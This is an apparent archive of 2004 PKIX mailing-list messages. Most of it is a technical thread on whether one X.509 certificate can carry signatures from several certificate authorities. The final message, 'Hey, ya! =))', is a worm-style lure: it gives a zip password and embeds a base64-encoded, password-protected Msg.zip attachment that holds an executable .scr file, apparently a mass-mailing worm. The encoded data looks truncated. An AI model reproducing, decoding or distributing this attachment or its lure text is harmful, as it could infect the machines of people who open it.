Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i27LTxco034545; Sun, 7 Mar 2004 13:29:59 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i27LTxp2034544; Sun, 7 Mar 2004 13:29:59 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from woodstock.binhost.com (woodstock.binhost.com [144.202.240.3]) by above.proper.com (8.12.11/8.12.8) with SMTP id i27LTvDH034535 for <[e-mail]>; Sun, 7 Mar 2004 13:29:58 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 30098 invoked by uid 0); 7 Mar 2004 21:25:05 -0000
Received: from unknown (HELO Russ-Laptop.vigilsec.com) (138.88.39.177) by woodstock.binhost.com with SMTP; 7 Mar 2004 21:25:05 -0000
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9
Date: Sun, 07 Mar 2004 16:17:32 -0500
To: "Jaeho Yoon" <[e-mail]>, <[e-mail]>
From: Russ Housley <[e-mail]>
Subject: Re: Can we make this kind of certificate?
In-Reply-To: <002e01c40312$69fe3aa0$810410ac@somethingnew>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

X.509 certificates do not have the capacity for multiple signatures, one 
from each of the "issuers."

Russ

At 09:31 AM 3/6/2004 +0900, Jaeho Yoon wrote:
>Dear experts,
>
>I have been studying the PKI in various environment. In doing that, I am 
>troubled with the needs of this kind of certificate.
>
>'a certificate issued by multiple CAs'
>
>for example, RFC3280 certificate is
>Certificate = entity dependent field + CA dependent field + 
>Signature(entity+CA field)
>
>this certificate is
>Certificate = entity dependent field + [CA1 dependent field + 
>Signature(entity+CA1 field)] + [CA2 dependent field + Signature(entity+CA2 
>field)] + ...
>
>At first sight, it may have many problems, ex. path related things.
>But in some cases, it would be very useful, I think.
>
>Can we make this kind of certificate? I'd like to have your opinion.
>It is just my curiosity.
>
>Thanks.



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i26A1Sv6042114; Sat, 6 Mar 2004 02:01:28 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i26A1SMM042113; Sat, 6 Mar 2004 02:01:28 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp-ft6.fr.colt.net (smtp-ft6.fr.colt.net [213.41.78.209]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i26A1QcL042101 for <[e-mail]>; Sat, 6 Mar 2004 02:01:27 -0800 (PST) (envelope-from [e-mail])
Received: from free.fr (host.106.92.68.195.rev.coltfrance.com [195.68.92.106]) by smtp-ft6.fr.colt.net with ESMTP id i26A1GG04423 for <[e-mail]>; Sat, 6 Mar 2004 11:01:22 +0100
Message-ID: <[e-mail]>
Date: Sat, 06 Mar 2004 11:01:32 +0100
From: Jean-Marc Desperrier <[e-mail]>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:) Gecko/20040226
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Can we make this kind of certificate?
References: <002e01c40312$69fe3aa0$810410ac@somethingnew>            <[e-mail]> <[e-mail]>
In-Reply-To: <[e-mail]>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Richard Levitte - VMS Whacker wrote:

>levitte> ...  However, there's nothing stopping you from having
>levitte> several certificates, signed by several CAs, from the same
>levitte> certificate request.  [...]
>
>[...]  I haven't analysed the effects of such action in any
>way, and before rushing to do what I said, I'd give it some extra
>careful thought if I were you. [...]
>
It better be correctly interpreted correctly by software, because it's 
susceptible to happen all the time.
This said it can be a cause for problems with Microsoft CAPI that relies 
too much on key based AKI/SKI.

One case were it could happen even if not intented is the earlier 
Gemplus smart card some years ago (the GPK4000  model), that were not 
able to do on-board generation, so they would pretend to generate a key 
and give back always the same one.

Moreover, this case is very similar to cross-certificates.
 



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i26792Ia088078; Fri, 5 Mar 2004 23:09:02 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i26792hk088075; Fri, 5 Mar 2004 23:09:02 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from nic.lp.se (nic.lp.se [213.212.3.208]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i26791XV088048 for <[e-mail]>; Fri, 5 Mar 2004 23:09:01 -0800 (PST) (envelope-from [e-mail])
Received: from localhost (127.0.0.1) by nic.lp.se (MX V5.3 VnHj) with ESMTP; Sat, 6 Mar 2004 08:09:03 +0100
Date: Sat, 06 Mar 2004 08:08:58 +0100 (CET)
Message-ID: <[e-mail]>
To: [e-mail]
CC: [e-mail]
Subject: Re: Can we make this kind of certificate?
From: Richard Levitte - VMS Whacker <[e-mail]>
In-Reply-To: <[e-mail]>
References: <002e01c40312$69fe3aa0$810410ac@somethingnew> <[e-mail]>
X-URL: http://www.lp.se/
X-Waved: dead chicken, GNU emacs 21.3.1, Mew version 4.0.63
X-Mew: See http://www.mew.org/
X-Mailer: Mew version 4.0.63 on Emacs 21.3.1 / Mule 5.0 (SAKAKI)
MIME-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

In message <[e-mail]> on Sat, 06 Mar 2004 08:03:56 +0100 (CET), Richard Levitte - VMS Whacker <[e-mail]> said:

levitte> In message <002e01c40312$69fe3aa0$810410ac@somethingnew> on Sat, 6 Mar 2004 09:31:49 +0900, "Jaeho Yoon" <[e-mail]> said:
levitte> 
levitte> jhyoon> Dear experts,
levitte> jhyoon> 
levitte> jhyoon> I have been studying the PKI in various environment. In doing
levitte> jhyoon> that, I am troubled with the needs of this kind of
levitte> jhyoon> certificate.
levitte> jhyoon> 
levitte> jhyoon> 'a certificate issued by multiple CAs'
levitte> 
levitte> ...  However, there's nothing stopping you from having
levitte> several certificates, signed by several CAs, from the same
levitte> certificate request.  How that would be handled by software
levitte> is a different question, though...

Note that this idea is probably not recommended, it's something I
pulled from my bag-o'-gags to possibly give you a way to get around to
what you want.  I haven't analysed the effects of such action in any
way, and before rushing to do what I said, I'd give it some extra
careful thought if I were you.  Oh, and for the rest of you on this
list, if what I wrote is truly horrific, feel free to pounce :-).

-----
Please consider sponsoring my work on free software.
See http://www.free.lp.se/sponsoring.html for details.

-- 
Richard Levitte     | http://richard.levitte.org/ | Tunnlandsv. 52
Levitte Programming | http://www.lp.se/           | S-168 36 Bromma
T: [phone] |                             | SWEDEN
     "Price, performance, quality...  choose the two you like"



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2674QTq086493; Fri, 5 Mar 2004 23:04:26 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2674QwN086491; Fri, 5 Mar 2004 23:04:26 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from nic.lp.se (nic.lp.se [213.212.3.208]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2674Odi086445 for <[e-mail]>; Fri, 5 Mar 2004 23:04:25 -0800 (PST) (envelope-from [e-mail])
Received: from localhost (127.0.0.1) by nic.lp.se (MX V5.3 VnHj) with ESMTP; Sat, 6 Mar 2004 08:03:56 +0100
Date: Sat, 06 Mar 2004 08:03:56 +0100 (CET)
Message-ID: <[e-mail]>
To: [e-mail]
CC: [e-mail]
Subject: Re: Can we make this kind of certificate?
From: Richard Levitte - VMS Whacker <[e-mail]>
In-Reply-To: <002e01c40312$69fe3aa0$810410ac@somethingnew>
References: <002e01c40312$69fe3aa0$810410ac@somethingnew>
X-URL: http://www.lp.se/
X-Waved: dead chicken, GNU emacs 21.3.1, Mew version 4.0.63
X-Mew: See http://www.mew.org/
X-Mailer: Mew version 4.0.63 on Emacs 21.3.1 / Mule 5.0 (SAKAKI)
MIME-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

In message <002e01c40312$69fe3aa0$810410ac@somethingnew> on Sat, 6 Mar 2004 09:31:49 +0900, "Jaeho Yoon" <[e-mail]> said:

jhyoon> Dear experts,
jhyoon> 
jhyoon> I have been studying the PKI in various environment. In doing
jhyoon> that, I am troubled with the needs of this kind of
jhyoon> certificate.
jhyoon> 
jhyoon> 'a certificate issued by multiple CAs'

Within the framework of X.509, there no such thing.  However, there's
nothing stopping you from having several certificates, signed by
several CAs, from the same certificate request.  How that would be
handled by software is a different question, though...

HTH.  HAND.

-----
Please consider sponsoring my work on free software.
See http://www.free.lp.se/sponsoring.html for details.

-- 
Richard Levitte     | http://richard.levitte.org/ | Tunnlandsv. 52
Levitte Programming | http://www.lp.se/           | S-168 36 Bromma
T: [phone] |                             | SWEDEN
     "Price, performance, quality...  choose the two you like"



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i260Vq2f043254; Fri, 5 Mar 2004 16:31:52 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i260Vp4f043253; Fri, 5 Mar 2004 16:31:51 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from center.kisa.or.kr ([211.252.150.11]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i260VnsR043237 for <[e-mail]>; Fri, 5 Mar 2004 16:31:50 -0800 (PST) (envelope-from [e-mail])
Received: from somethingnew (localhost [127.0.0.1]) by center.kisa.or.kr (8.11.7p1+Sun/8.11.1) with SMTP id i260OhG28272 for <[e-mail]>; Sat, 6 Mar 2004 09:24:43 +0900 (KST)
Message-ID: <002e01c40312$69fe3aa0$810410ac@somethingnew>
From: "Jaeho Yoon" <[e-mail]>
To: <[e-mail]>
Subject: Can we make this kind of certificate?
Date: Sat, 6 Mar 2004 09:31:49 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_002B_01C4035D.D9B16520"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPart_000_002B_01C4035D.D9B16520
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

RGVhciBleHBlcnRzLA0KDQpJIGhhdmUgYmVlbiBzdHVkeWluZyB0aGUgUEtJIGluIHZhcmlvdXMg
ZW52aXJvbm1lbnQuIEluIGRvaW5nIHRoYXQsIEkgYW0gdHJvdWJsZWQgd2l0aCB0aGUgbmVlZHMg
b2YgdGhpcyBraW5kIG9mIGNlcnRpZmljYXRlLg0KDQonYSBjZXJ0aWZpY2F0ZSBpc3N1ZWQgYnkg
bXVsdGlwbGUgQ0FzJw0KDQpmb3IgZXhhbXBsZSwgUkZDMzI4MCBjZXJ0aWZpY2F0ZSBpcw0KQ2Vy
dGlmaWNhdGUgPSBlbnRpdHkgZGVwZW5kZW50IGZpZWxkICsgQ0EgZGVwZW5kZW50IGZpZWxkICsg
U2lnbmF0dXJlKGVudGl0eStDQSBmaWVsZCkNCg0KdGhpcyBjZXJ0aWZpY2F0ZSBpcw0KQ2VydGlm
aWNhdGUgPSBlbnRpdHkgZGVwZW5kZW50IGZpZWxkICsgW0NBMSBkZXBlbmRlbnQgZmllbGQgKyBT
aWduYXR1cmUoZW50aXR5K0NBMSBmaWVsZCldICsgW0NBMiBkZXBlbmRlbnQgZmllbGQgKyBTaWdu
YXR1cmUoZW50aXR5K0NBMiBmaWVsZCldICsgLi4uIA0KDQpBdCBmaXJzdCBzaWdodCwgaXQgbWF5
IGhhdmUgbWFueSBwcm9ibGVtcywgZXguIHBhdGggcmVsYXRlZCB0aGluZ3MuDQpCdXQgaW4gc29t
ZSBjYXNlcywgaXQgd291bGQgYmUgdmVyeSB1c2VmdWwsIEkgdGhpbmsuIA0KDQpDYW4gd2UgbWFr
ZSB0aGlzIGtpbmQgb2YgY2VydGlmaWNhdGU/IEknZCBsaWtlIHRvIGhhdmUgeW91ciBvcGluaW9u
Lg0KSXQgaXMganVzdCBteSBjdXJpb3NpdHkuDQoNClRoYW5rcy4=

------=_NextPart_000_002B_01C4035D.D9B16520
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgaHR0cC1lcXVpdj1Db250ZW50LVR5cGUgY29udGVu
dD0idGV4dC9odG1sOyBjaGFyc2V0PWtzX2NfNTYwMS0xOTg3Ij4NCjxNRVRBIGNvbnRlbnQ9Ik1T
SFRNTCA2LjAwLjI4MDAuMTQwMCIgbmFtZT1HRU5FUkFUT1I+DQo8U1RZTEU+PC9TVFlMRT4NCjwv
SEVBRD4NCjxCT0RZIGJnQ29sb3I9I2ZmZmZmZj4NCjxESVY+PEZPTlQgc2l6ZT0yPkRlYXIgZXhw
ZXJ0cyw8L0ZPTlQ+PC9ESVY+DQo8RElWPjxGT05UIHNpemU9Mj48L0ZPTlQ+Jm5ic3A7PC9ESVY+
DQo8RElWPjxGT05UIHNpemU9Mj5JIGhhdmUgYmVlbiBzdHVkeWluZyB0aGUgUEtJJm5ic3A7aW4g
dmFyaW91cyBlbnZpcm9ubWVudC4gSW4gDQpkb2luZyB0aGF0LCBJIGFtIHRyb3VibGVkIHdpdGgg
dGhlIG5lZWRzIG9mIHRoaXMga2luZCBvZiANCmNlcnRpZmljYXRlLjwvRk9OVD48L0RJVj4NCjxE
SVY+PEZPTlQgc2l6ZT0yPjwvRk9OVD4mbmJzcDs8L0RJVj4NCjxESVY+PEZPTlQgc2l6ZT0yPidh
IGNlcnRpZmljYXRlIGlzc3VlZCBieSBtdWx0aXBsZSBDQXMnPC9GT05UPjwvRElWPg0KPERJVj48
Rk9OVCBzaXplPTI+PC9GT05UPiZuYnNwOzwvRElWPg0KPERJVj48Rk9OVCBzaXplPTI+Zm9yIGV4
YW1wbGUsIFJGQzMyODAgY2VydGlmaWNhdGUgaXM8L0ZPTlQ+PC9ESVY+DQo8RElWPjxGT05UIHNp
emU9Mj5DZXJ0aWZpY2F0ZSA9IGVudGl0eSBkZXBlbmRlbnQgZmllbGQgKyBDQSBkZXBlbmRlbnQg
ZmllbGQgKyANClNpZ25hdHVyZShlbnRpdHkrQ0EgZmllbGQpPC9GT05UPjwvRElWPg0KPERJVj48
Rk9OVCBzaXplPTI+PC9GT05UPiZuYnNwOzwvRElWPg0KPERJVj48Rk9OVCBzaXplPTI+dGhpcyBj
ZXJ0aWZpY2F0ZSBpczwvRk9OVD48L0RJVj4NCjxESVY+PEZPTlQgc2l6ZT0yPkNlcnRpZmljYXRl
ID0gZW50aXR5IGRlcGVuZGVudCBmaWVsZCArIFtDQTEgZGVwZW5kZW50IGZpZWxkICsgDQpTaWdu
YXR1cmUoZW50aXR5K0NBMSBmaWVsZCldICsgW0NBMiBkZXBlbmRlbnQgZmllbGQgKyBTaWduYXR1
cmUoZW50aXR5K0NBMiANCmZpZWxkKV0gKyAuLi4mbmJzcDs8L0ZPTlQ+PC9ESVY+DQo8RElWPjxG
T05UIHNpemU9Mj48L0ZPTlQ+Jm5ic3A7PC9ESVY+DQo8RElWPjxGT05UIHNpemU9Mj5BdCBmaXJz
dCBzaWdodCwgaXQgbWF5IGhhdmUgbWFueSBwcm9ibGVtcywgZXguIHBhdGggcmVsYXRlZCANCnRo
aW5ncy48L0ZPTlQ+PC9ESVY+DQo8RElWPjxGT05UIHNpemU9Mj5CdXQgaW4gc29tZSBjYXNlcywg
aXQgd291bGQgYmUgdmVyeSB1c2VmdWwsIEkgDQp0aGluay4mbmJzcDs8L0ZPTlQ+PC9ESVY+DQo8
RElWPjxGT05UIHNpemU9Mj48L0ZPTlQ+Jm5ic3A7PC9ESVY+DQo8RElWPjxGT05UIHNpemU9Mj5D
YW4gd2UgbWFrZSB0aGlzIGtpbmQgb2YgY2VydGlmaWNhdGU/IEknZCBsaWtlIHRvIGhhdmUgeW91
ciANCm9waW5pb24uPC9GT05UPjwvRElWPg0KPERJVj48Rk9OVCBzaXplPTI+SXQgaXMganVzdCBt
eSBjdXJpb3NpdHkuPC9GT05UPjwvRElWPg0KPERJVj48Rk9OVCBzaXplPTI+PC9GT05UPiZuYnNw
OzwvRElWPg0KPERJVj48Rk9OVCBzaXplPTI+VGhhbmtzLjwvRk9OVD48L0RJVj48L0JPRFk+PC9I
VE1MPg0K

------=_NextPart_000_002B_01C4035D.D9B16520--




Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i25K8He2029765; Fri, 5 Mar 2004 12:08:17 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i25K8H8c029764; Fri, 5 Mar 2004 12:08:17 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ZLIU-LAP (adsl-68-121-160-76.dsl.pltn13.pacbell.net [68.121.160.76]) by above.proper.com (8.12.11/8.12.8) with SMTP id i25K8EgC029753 for <[e-mail]>; Fri, 5 Mar 2004 12:08:14 -0800 (PST) (envelope-from [e-mail])
Date: Fri, 05 Mar 2004 00:10:43 -0800
To: [e-mail]
Subject: Hey, ya! =))
From: [e-mail]
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="--------gvmvuleooytappoygrba"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

----------gvmvuleooytappoygrba
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

 Argh, i don't like the  plaintext :)
 
pass: 14687

----------gvmvuleooytappoygrba
Content-Type: application/octet-stream; name="Msg.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Msg.zip"

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
